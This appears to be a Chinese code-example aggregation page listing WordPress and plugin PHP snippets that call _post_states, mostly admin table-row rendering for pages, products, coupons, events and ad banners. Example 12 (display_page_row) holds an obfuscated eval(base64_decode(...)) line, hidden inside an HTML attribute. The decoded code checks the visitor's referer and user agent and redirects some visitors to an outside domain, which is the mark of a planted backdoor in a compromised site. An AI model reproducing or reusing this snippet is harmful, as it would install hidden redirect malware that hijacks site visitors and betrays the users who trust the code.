本文整理汇总了PHP中_post_states函数的典型用法代码示例。如果您正苦于以下问题:PHP _post_states函数的具体用法?PHP _post_states怎么用?PHP _post_states使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了_post_states函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: test_post_states
function test_post_states()
{
global $post_states;
$parent_post_id = $this->factory->post->create();
$post_id = $this->factory->post->create(array('post_parent' => $parent_post_id));
save_post_repeating_status($parent_post_id, 'weekly');
// Hack to allow us access to $post_states so we can test it
add_filter('display_post_states', function ($states, $post) {
global $post_states;
$post_states = $states;
return $states;
}, 11, 2);
// We need to output buffer _post_states as it echo's
ob_start();
_post_states(get_post($post_id));
ob_end_clean();
$this->assertEquals(array('hm-post-repeat' => __('Repeat', 'hm-post-repeat')), $post_states);
ob_start();
_post_states(get_post($parent_post_id));
ob_end_clean();
$this->assertEquals(array('hm-post-repeat' => __('Repeating', 'hm-post-repeat')), $post_states);
}
示例2: display_page_row
/**
* {@internal Missing Short Description}}
*
* @since unknown
*
* @param unknown_type $page
* @param unknown_type $level
*/
function display_page_row( $page, $level = 0 ) {
global $post;
static $rowclass;
$post = $page;
setup_postdata($page);
$page->post_title = wp_specialchars( $page->post_title );
$pad = str_repeat( '— ', $level );
$id = (int) $page->ID;
$rowclass = 'alternate' == $rowclass ? '' : 'alternate';
$posts_columns = get_column_headers('edit-pages');
$hidden = get_hidden_columns('edit-pages');
$title = _draft_or_post_title();
?>
<tr id="page-<?php echo $id; ?>" class="<?php echo $rowclass; ?> iedit">
<?php
foreach ($posts_columns as $column_name=>$column_display_name) {
$class = "class=\"$column_name column-$column_name\"";
$style = '';
if ( in_array($column_name, $hidden) )
$style = ' style="display:none;"';
$attributes = "$class$style";
switch ($column_name) {
case 'cb':
?>
<th scope="row" class="check-column"><input type="checkbox" name="post[]" value="<?php the_ID(); ?>" /></th>
<?php
break;
case 'date':
if ( '0000-00-00 00:00:00' == $page->post_date && 'date' == $column_name ) {
$t_time = $h_time = __('Unpublished');
} else {
$t_time = get_the_time(__('Y/m/d g:i:s A'));
$m_time = $page->post_date;
$time = get_post_time('G', true);
if ( ( abs(time() - $time) ) < 86400 ) {
if ( ( 'future' == $page->post_status) )
$h_time = sprintf( __('%s from now'), human_time_diff( $time ) );
else
$h_time = sprintf( __('%s ago'), human_time_diff( $time ) );
} else {
$h_time = mysql2date(__('Y/m/d'), $m_time);
}
}
echo '<td ' . $attributes . '>';
echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $page, $column_name, '') . '</abbr>';
echo '<br />';
if ( 'publish' == $page->post_status || 'future' == $page->post_status )
_e('Published');
else
_e('Last Modified');
echo '</td>';
break;
case 'title':
$attributes = 'class="post-title page-title column-title"' . $style;
$edit_link = get_edit_post_link( $page->ID );
?>
<td <?php echo $attributes ?>><strong><?php if ( current_user_can( 'edit_post', $page->ID ) ) { ?><a class="row-title" href="<?php echo $edit_link; ?>" title="<?php echo attribute_escape(sprintf(__('Edit "%s"'), $title)); ?>"><?php echo $pad; echo $title ?></a><?php } else { echo $pad; echo $title; }; _post_states($page); ?></strong>
<?php
$actions = array();
if ( current_user_can('edit_page', $page->ID) ) {
$actions['edit'] = '<a href="' . $edit_link . '" title="' . attribute_escape(__('Edit this page')) . '">' . __('Edit') . '</a>';
$actions['inline'] = '<a href="#" class="editinline">' . __('Quick Edit') . '</a>';
$actions['delete'] = "<a class='submitdelete' title='" . attribute_escape(__('Delete this page')) . "' href='" . wp_nonce_url("page.php?action=delete&post=$page->ID", 'delete-page_' . $page->ID) . "' onclick=\"if ( confirm('" . js_escape(sprintf( ('draft' == $page->post_status) ? __("You are about to delete this draft '%s'\n 'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this page '%s'\n 'Cancel' to stop, 'OK' to delete."), $page->post_title )) . "') ) { return true;}return false;\">" . __('Delete') . "</a>";
}
if ( in_array($post->post_status, array('pending', 'draft')) ) {
if ( current_user_can('edit_page', $page->ID) )
$actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . attribute_escape(sprintf(__('Preview "%s"'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
} else {
$actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . attribute_escape(sprintf(__('View "%s"'), $title)) . '" rel="permalink">' . __('View') . '</a>';
}
$action_count = count($actions);
$i = 0;
echo '<div class="row-actions">';
foreach ( $actions as $action => $link ) {
++$i;
( $i == $action_count ) ? $sep = '' : $sep = ' | ';
echo "<span class='$action'>$link$sep</span>";
}
echo '</div>';
get_inline_data($post);
echo '</td>';
break;
//.........这里部分代码省略.........
示例3: get_edit_post_link
?>
' />
</td>
<td>
<strong>
<a href='<?php
echo get_edit_post_link($method->ID);
?>
' class='row-title' title='<?php
_e('Edit Method', 'woocommerce-advanced-shipping');
?>
'><?php
echo _draft_or_post_title($method->ID);
?>
</a><?php
echo _post_states($method);
?>
</strong>
<div class='row-actions'>
<span class='edit'>
<a href='<?php
echo get_edit_post_link($method->ID);
?>
' title='<?php
_e('Edit Method', 'woocommerce-advanced-shipping');
?>
'>
<?php
_e('Edit', 'woocommerce-advanced-shipping');
?>
</a>
示例4: single_row
function single_row($post, $level = 0)
{
global $mode;
static $alternate;
$global_post = get_post();
$GLOBALS['post'] = $post;
setup_postdata($post);
$edit_link = get_edit_post_link($post->ID);
$title = _draft_or_post_title();
$post_type_object = get_post_type_object($post->post_type);
$can_edit_post = current_user_can('edit_post', $post->ID);
$alternate = 'alternate' == $alternate ? '' : 'alternate';
$classes = $alternate . ' iedit author-' . (get_current_user_id() == $post->post_author ? 'self' : 'other');
$lock_holder = wp_check_post_lock($post->ID);
if ($lock_holder) {
$classes .= ' wp-locked';
$lock_holder = get_userdata($lock_holder);
}
?>
<tr id="post-<?php
echo $post->ID;
?>
" class="<?php
echo implode(' ', get_post_class($classes, $post->ID));
?>
" valign="top">
<?php
list($columns, $hidden) = $this->get_column_info();
foreach ($columns as $column_name => $column_display_name) {
$class = "class=\"{$column_name} column-{$column_name}\"";
$style = '';
if (in_array($column_name, $hidden)) {
$style = ' style="display:none;"';
}
$attributes = "{$class}{$style}";
switch ($column_name) {
case 'cb':
?>
<th scope="row" class="check-column">
<?php
if ($can_edit_post) {
?>
<label class="screen-reader-text" for="cb-select-<?php
the_ID();
?>
"><?php
printf(__('Select %s'), $title);
?>
</label>
<input id="cb-select-<?php
the_ID();
?>
" type="checkbox" name="post[]" value="<?php
the_ID();
?>
" />
<div class="locked-indicator"></div>
<?php
}
?>
</th>
<?php
break;
case 'title':
$attributes = 'class="post-title page-title column-title"' . $style;
if ($this->hierarchical_display) {
if (0 == $level && (int) $post->post_parent > 0) {
//sent level 0 by accident, by default, or because we don't know the actual level
$find_main_page = (int) $post->post_parent;
while ($find_main_page > 0) {
$parent = get_post($find_main_page);
if (is_null($parent)) {
break;
}
$level++;
$find_main_page = (int) $parent->post_parent;
if (!isset($parent_name)) {
/** This filter is documented in wp-includes/post-template.php */
$parent_name = apply_filters('the_title', $parent->post_title, $parent->ID);
}
}
}
}
$pad = str_repeat('— ', $level);
echo "<td {$attributes}><strong>";
if ($format = get_post_format($post->ID)) {
$label = get_post_format_string($format);
echo '<a href="' . esc_url(add_query_arg(array('post_format' => $format, 'post_type' => $post->post_type), 'edit.php')) . '" class="post-state-format post-format-icon post-format-' . $format . '" title="' . $label . '">' . $label . ":</a> ";
}
if ($can_edit_post && $post->post_status != 'trash') {
echo '<a class="row-title" href="' . $edit_link . '" title="' . esc_attr(sprintf(__('Edit “%s”'), $title)) . '">' . $pad . $title . '</a>';
} else {
echo $pad . $title;
}
_post_states($post);
if (isset($parent_name)) {
echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html($parent_name);
}
echo "</strong>\n";
if ($can_edit_post && $post->post_status != 'trash') {
//.........这里部分代码省略.........
示例5: single_row
function single_row($a_post, $level = 0)
{
global $post, $mode;
static $alternate;
$global_post = $post;
$post = $a_post;
setup_postdata($post);
$edit_link = get_edit_post_link($post->ID);
$title = _draft_or_post_title();
$post_type_object = get_post_type_object($post->post_type);
$can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
$alternate = 'alternate' == $alternate ? '' : 'alternate';
$classes = $alternate . ' iedit author-' . (get_current_user_id() == $post->post_author ? 'self' : 'other');
?>
<tr id="post-<?php
echo $post->ID;
?>
" class="<?php
echo implode(' ', get_post_class($classes, $post->ID));
?>
" valign="top">
<?php
list($columns, $hidden) = $this->get_column_info();
foreach ($columns as $column_name => $column_display_name) {
$class = "class=\"{$column_name} column-{$column_name}\"";
$style = '';
if (in_array($column_name, $hidden)) {
$style = ' style="display:none;"';
}
$attributes = "{$class}{$style}";
switch ($column_name) {
case 'cb':
?>
<th scope="row" class="check-column"><?php
if ($can_edit_post) {
?>
<input type="checkbox" name="post[]" value="<?php
the_ID();
?>
" /><?php
}
?>
</th>
<?php
break;
case 'title':
if ($this->hierarchical_display) {
$attributes = 'class="post-title page-title column-title"' . $style;
if (0 == $level && (int) $post->post_parent > 0) {
//sent level 0 by accident, by default, or because we don't know the actual level
$find_main_page = (int) $post->post_parent;
while ($find_main_page > 0) {
$parent = get_page($find_main_page);
if (is_null($parent)) {
break;
}
$level++;
$find_main_page = (int) $parent->post_parent;
if (!isset($parent_name)) {
$parent_name = apply_filters('the_title', $parent->post_title, $parent->ID);
}
}
}
$pad = str_repeat('— ', $level);
?>
<td <?php
echo $attributes;
?>
><strong><?php
if ($can_edit_post && $post->post_status != 'trash') {
?>
<a class="row-title" href="<?php
echo $edit_link;
?>
" title="<?php
echo esc_attr(sprintf(__('Edit “%s”'), $title));
?>
"><?php
echo $pad;
echo $title;
?>
</a><?php
} else {
echo $pad;
echo $title;
}
_post_states($post);
echo isset($parent_name) ? ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html($parent_name) : '';
?>
</strong>
<?php
} else {
$attributes = 'class="post-title page-title column-title"' . $style;
?>
<td <?php
echo $attributes;
?>
><strong><?php
if ($can_edit_post && $post->post_status != 'trash') {
?>
//.........这里部分代码省略.........
示例6: woocommerce_custom_product_columns
/**
* Custom Columns for Products page
*
* @access public
* @param mixed $column
* @return void
*/
function woocommerce_custom_product_columns($column)
{
global $post, $woocommerce, $the_product;
if (empty($the_product) || $the_product->id != $post->ID) {
$the_product = get_product($post);
}
switch ($column) {
case "thumb":
echo '<a href="' . get_edit_post_link($post->ID) . '">' . $the_product->get_image() . '</a>';
break;
case "name":
$edit_link = get_edit_post_link($post->ID);
$title = _draft_or_post_title();
$post_type_object = get_post_type_object($post->post_type);
$can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
echo '<strong><a class="row-title" href="' . $edit_link . '">' . $title . '</a>';
_post_states($post);
echo '</strong>';
if ($post->post_parent > 0) {
echo ' ← <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
}
// Excerpt view
if (isset($_GET['mode']) && $_GET['mode'] == 'excerpt') {
echo apply_filters('the_excerpt', $post->post_excerpt);
}
// Get actions
$actions = array();
$actions['id'] = 'ID: ' . $post->ID;
if ($can_edit_post && 'trash' != $post->post_status) {
$actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
$actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick Edit') . '</a>';
}
if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
if ('trash' == $post->post_status) {
$actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>";
} elseif (EMPTY_TRASH_DAYS) {
$actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>";
}
if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
$actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>";
}
}
if ($post_type_object->public) {
if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
if ($can_edit_post) {
$actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
}
} elseif ('trash' != $post->post_status) {
$actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>';
}
}
$actions = apply_filters('post_row_actions', $actions, $post);
echo '<div class="row-actions">';
$i = 0;
$action_count = sizeof($actions);
foreach ($actions as $action => $link) {
++$i;
$i == $action_count ? $sep = '' : ($sep = ' | ');
echo "<span class='{$action}'>{$link}{$sep}</span>";
}
echo '</div>';
get_inline_data($post);
/* Custom inline data for woocommerce */
echo '
<div class="hidden" id="woocommerce_inline_' . $post->ID . '">
<div class="menu_order">' . $post->menu_order . '</div>
<div class="sku">' . $the_product->sku . '</div>
<div class="regular_price">' . $the_product->regular_price . '</div>
<div class="sale_price">' . $the_product->sale_price . '</div>
<div class="weight">' . $the_product->weight . '</div>
<div class="length">' . $the_product->length . '</div>
<div class="width">' . $the_product->width . '</div>
<div class="height">' . $the_product->height . '</div>
<div class="visibility">' . $the_product->visibility . '</div>
<div class="stock_status">' . $the_product->stock_status . '</div>
<div class="stock">' . $the_product->stock . '</div>
<div class="manage_stock">' . $the_product->manage_stock . '</div>
<div class="featured">' . $the_product->featured . '</div>
<div class="product_type">' . $the_product->product_type . '</div>
<div class="product_is_virtual">' . $the_product->virtual . '</div>
</div>
';
break;
case "sku":
if ($the_product->get_sku()) {
echo $the_product->get_sku();
} else {
echo '<span class="na">–</span>';
}
break;
case "product_type":
if ($the_product->product_type == 'grouped') {
echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . __('Grouped', 'woocommerce') . '"></span>';
//.........这里部分代码省略.........
示例7: woocommerce_custom_coupon_columns
/**
* Values for Columns on the Coupons admin page.
*
* @access public
* @param mixed $column
* @return void
*/
function woocommerce_custom_coupon_columns($column)
{
global $post, $woocommerce;
switch ($column) {
case "coupon_code":
$edit_link = get_edit_post_link($post->ID);
$title = _draft_or_post_title();
$post_type_object = get_post_type_object($post->post_type);
$can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
echo '<div class="code tips" data-tip="' . __('Edit coupon', 'woocommerce') . '"><a href="' . esc_attr($edit_link) . '"><span>' . esc_html($title) . '</span></a></div>';
_post_states($post);
// Get actions
$actions = array();
if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
if ('trash' == $post->post_status) {
$actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>";
} elseif (EMPTY_TRASH_DAYS) {
$actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>";
}
if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
$actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>";
}
}
$actions = apply_filters('post_row_actions', $actions, $post);
echo '<div class="row-actions">';
$i = 0;
$action_count = sizeof($actions);
foreach ($actions as $action => $link) {
++$i;
$i == $action_count ? $sep = '' : ($sep = ' | ');
echo "<span class='{$action}'>{$link}{$sep}</span>";
}
echo '</div>';
break;
case "type":
echo esc_html($woocommerce->get_coupon_discount_type(get_post_meta($post->ID, 'discount_type', true)));
break;
case "amount":
echo esc_html(get_post_meta($post->ID, 'coupon_amount', true));
break;
case "products":
$product_ids = get_post_meta($post->ID, 'product_ids', true);
$product_ids = $product_ids ? array_map('absint', explode(',', $product_ids)) : array();
if (sizeof($product_ids) > 0) {
echo esc_html(implode(', ', $product_ids));
} else {
echo '–';
}
break;
case "usage_limit":
$usage_limit = get_post_meta($post->ID, 'usage_limit', true);
if ($usage_limit) {
echo esc_html($usage_limit);
} else {
echo '–';
}
break;
case "usage":
$usage_count = absint(get_post_meta($post->ID, 'usage_count', true));
$usage_limit = esc_html(get_post_meta($post->ID, 'usage_limit', true));
if ($usage_limit) {
printf(__('%s / %s', 'woocommerce'), $usage_count, $usage_limit);
} else {
printf(__('%s / ∞', 'woocommerce'), $usage_count);
}
break;
case "expiry_date":
$expiry_date = get_post_meta($post->ID, 'expiry_date', true);
if ($expiry_date) {
echo esc_html(date_i18n('F j, Y', strtotime($expiry_date)));
} else {
echo '–';
}
break;
case "description":
echo wp_kses_post($post->post_excerpt);
break;
}
}
示例8: eventon_custom_event_columns
/**
* Custom Columns for event page
*
* @access public
* @param mixed $column
* @return void
*/
function eventon_custom_event_columns($column, $post_id)
{
global $post, $eventon;
//if ( empty( $ajde_events ) || $ajde_events->id != $post->ID )
//$ajde_events = get_product( $post );
$pmv = get_post_custom($post_id);
switch ($column) {
case has_filter("evo_column_type_{$column}"):
$content = apply_filters("evo_column_type_{$column}", $post_id);
echo $content;
break;
case "thumb":
//echo '<a href="' . get_edit_post_link( $post->ID ) . '">' . $ajde_events->get_image() . '</a>';
break;
case "name":
$edit_link = get_edit_post_link($post->ID);
$title = _draft_or_post_title();
$post_type_object = get_post_type_object($post->post_type);
$can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
echo "<div class='evoevent_item'>";
$img_src = $eventon->evo_admin->get_image('thumbnail', false);
$event_color = eventon_get_hex_color($pmv);
echo '<a class="evoevent_image" href="' . get_edit_post_link($post_id) . '">';
if ($img_src) {
echo '<img class="evoEventCirc" src="' . $img_src . '"/>';
} else {
echo '<span class="evoEventCirc" style="background-color:' . $event_color . '"></span>';
}
echo '</a><div class="evo_item_details">';
if ($can_edit_post) {
echo '<strong><a class="row-title" href="' . $edit_link . '">' . $title . '</a>';
} else {
echo '<strong>' . $title . '';
}
_post_states($post);
echo '</strong>';
if ($post->post_parent > 0) {
echo ' ← <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
}
// Excerpt view
if (isset($_GET['mode']) && $_GET['mode'] == 'excerpt') {
echo apply_filters('the_excerpt', $post->post_excerpt);
}
// Get actions
$actions = array();
$actions['id'] = 'ID: ' . $post->ID;
if ($can_edit_post && 'trash' != $post->post_status) {
$actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
$actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick Edit') . '</a>';
}
if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
if ('trash' == $post->post_status) {
$actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>";
} elseif (EMPTY_TRASH_DAYS) {
$actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>";
}
if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
$actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>";
}
}
if ($post_type_object->public) {
if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
if ($can_edit_post) {
$actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
}
} elseif ('trash' != $post->post_status) {
$actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>';
}
}
$actions = apply_filters('post_row_actions', $actions, $post);
echo '<div class="row-actions">';
$i = 0;
$action_count = sizeof($actions);
foreach ($actions as $action => $link) {
++$i;
$i == $action_count ? $sep = '' : ($sep = ' | ');
echo "<span class='{$action}'>{$link}{$sep}</span>";
}
echo '</div>';
get_inline_data($post);
$event = $eventon->evo_event->get_event($post->ID);
//print_r($event);
/* Custom inline data for eventon */
echo '<div class="hidden" id="eventon_inline_' . $post->ID . '">';
foreach ($eventon->evo_event->get_event_fields_edit() as $field) {
$value = !empty($event->{$field}) ? $event->{$field} : null;
echo "<div class='{$field}'>{$value}</div>";
}
echo "<div class='_menu_order'>" . $post->menu_order . "</div>";
echo '</div>';
echo '</div>';
break;
case "event_type":
//.........这里部分代码省略.........
示例9: render_food_group_columns
/**
* Output custom columns for groups.
* @param string $column
*/
public function render_food_group_columns($column)
{
global $post;
switch ($column) {
case 'name':
$edit_link = get_edit_post_link($post->ID);
$title = _draft_or_post_title();
echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . esc_html($title) . '</a>';
_post_states($post);
echo '</strong>';
$this->_render_food_group_row_actions($post, $title);
break;
case 'group_id':
echo '<span>' . $post->ID . '</span>';
break;
default:
echo wp_kses_post($post->post_excerpt);
break;
}
}
示例10: wp_pro_ad_banners_show_columns
public function wp_pro_ad_banners_show_columns($name)
{
global $post, $pro_ads_banners, $pro_ads_adzones, $pro_ads_campaigns;
switch ($name) {
case 'b_banner':
$banner_type = get_post_meta($post->ID, '_banner_type', true);
$banner_url = get_post_meta($post->ID, '_banner_url', true);
$banner_is_image = $pro_ads_banners->check_if_banner_is_image($banner_type);
$html = '';
if ($banner_is_image) {
$img = !empty($banner_url) ? $banner_url : WP_ADS_URL . 'images/placeholder.png';
$html .= '<div class="preview_banner" style="background: url(' . $img . ') no-repeat center center; width:40px; height:40px; background-size: cover;"></div>';
} elseif ($banner_type == 'swf') {
$html .= "<object>";
$html .= "<embed allowscriptaccess='always' id='banner-swf' width='40' height='40' src='" . $banner_url . "'>";
$html .= "</object>";
} else {
$html .= '<img src="' . WP_ADS_URL . 'images/placeholder.png" width="40" />';
}
echo $html;
break;
case 'b_name':
$edit_link = get_edit_post_link($post->ID);
$title = _draft_or_post_title();
$post_type_object = get_post_type_object($post->post_type);
$can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . $title . '</a>';
_post_states($post);
echo '</strong>';
if ($post->post_parent > 0) {
echo ' ← <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
}
// Excerpt view
if (isset($_GET['mode']) && 'excerpt' == $_GET['mode']) {
echo apply_filters('the_excerpt', $post->post_excerpt);
}
// Get actions
$actions = array();
$actions['id'] = 'ID: ' . $post->ID;
if ($can_edit_post && 'trash' != $post->post_status) {
$actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item', 'wpproads')) . '">' . __('Edit', 'wpproads') . '</a>';
$actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline', 'wpproads')) . '">' . __('Quick Edit', 'wpproads') . '</a>';
}
if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
if ('trash' == $post->post_status) {
$actions['untrash'] = '<a title="' . esc_attr(__('Restore this item from the Trash', 'wpproads')) . '" href="' . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . '">' . __('Restore', 'wpproads') . '</a>';
} elseif (EMPTY_TRASH_DAYS) {
$actions['trash'] = '<a class="submitdelete" title="' . esc_attr(__('Move this item to the Trash', 'wpproads')) . '" href="' . get_delete_post_link($post->ID) . '">' . __('Trash', 'wpproads') . '</a>';
}
if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
$actions['delete'] = '<a class="submitdelete" title="' . esc_attr(__('Delete this item permanently', 'wpproads')) . '" href="' . get_delete_post_link($post->ID, '', true) . '">' . __('Delete Permanently', 'wpproads') . '</a>';
}
}
if ($post_type_object->public) {
if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
if ($can_edit_post) {
$actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview “%s”', 'wpproads'), $title)) . '" rel="permalink">' . __('Preview', 'wpproads') . '</a>';
}
} elseif ('trash' != $post->post_status) {
$actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”', 'wpproads'), $title)) . '" rel="permalink">' . __('View', 'wpproads') . '</a>';
}
}
$actions = apply_filters('post_row_actions', $actions, $post);
echo '<div class="row-actions">';
$i = 0;
$action_count = sizeof($actions);
foreach ($actions as $action => $link) {
++$i;
$i == $action_count ? $sep = '' : ($sep = ' | ');
echo '<span class="' . $action . '">' . $link . $sep . '</span>';
}
echo '</div>';
get_inline_data($post);
break;
case 'b_advertiser':
$advertiser_id = get_post_meta($post->ID, '_banner_advertiser_id', true);
echo !empty($advertiser_id) ? '<a href="post.php?post=' . $advertiser_id . '&action=edit">' . get_the_title($advertiser_id) . '</a>' : '<span class="na">–</span>';
break;
case 'b_campaign':
$campaign_id = get_post_meta($post->ID, '_banner_campaign_id', true);
$campaign_status = get_post_meta($campaign_id, '_campaign_status', true);
$campaign_status = $pro_ads_campaigns->get_status($campaign_status);
echo !empty($campaign_id) ? '<a href="post.php?post=' . $campaign_id . '&action=edit">' . get_the_title($campaign_id) . '</a><br><small style="color:#999;">' . __('Campaign status:', 'wpproads') . '</small> <small class="' . $campaign_status['name_clean'] . '"><em>[' . $campaign_status['name'] . ']</em></small>' : '<span class="na">–</span>';
break;
case 'b_status':
$banner_status = get_post_meta($post->ID, '_banner_status', true);
$status = $pro_ads_banners->get_status($banner_status);
echo '<span class="' . $status['name_clean'] . '">' . $status['name'] . '</span>';
break;
case 'b_stats':
echo '<a class="stats" href="admin.php?page=wp-pro-ads-stats&group=banner&group_id=' . $post->ID . '"><img src="' . WP_ADS_URL . '/images/stats.png" alt="' . __('Statistics', 'wpproads') . '" /></a>';
break;
case 'b_adzone':
$banner_size = get_post_meta($post->ID, '_banner_size', true);
$recommended_adzones = $pro_ads_adzones->get_adzones(array('meta_query' => array('relation' => 'OR', array('key' => '_adzone_size', 'value' => $banner_size, 'compare' => '='), array('key' => '_adzone_size', 'value' => '', 'compare' => '='))));
// Get linked adzones for this banner
$linked_adzones = get_post_meta($post->ID, '_linked_adzones', true);
$html = '';
$html .= '<div style="position:relative;">';
$html .= '<div class="loading_adzone loading_adzone_' . $post->ID . '" style="position:absolute; margin:7px; z-index:1; display:none;">' . __('Loading...', 'wpproads') . '</div>';
//.........这里部分代码省略.........
示例11: display_posts
/**
* Display posts as list
*
* @param array $args Additional arguments
*/
function display_posts($args)
{
$defaults = array('posts_per_page' => -1);
$args = wp_parse_args($args, $defaults);
$posts = new WP_Query($args);
if ($posts->have_posts()) {
?>
<ul>
<?php
while ($posts->have_posts()) {
$posts->the_post();
global $post;
?>
<li id="<?php
the_ID();
?>
">
<?php
the_title();
?>
<?php
_post_states($post);
?>
<?php
$this->display_posts(wp_parse_args(array('post_parent' => get_the_ID()), $args));
?>
</li>
<?php
}
?>
</ul>
<?php
}
wp_reset_query();
}
示例12: display_page_row
//.........这里部分代码省略.........
echo '</td>';
break;
case 'title':
$attributes = 'class="post-title page-title column-title"' . $style;
$edit_link = get_edit_post_link($page->ID);
?>
<td <?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfV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c3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
if (current_user_can('edit_page', $page->ID) && $post->post_status != 'trash') {
?>
<a class="row-title" href="<?php
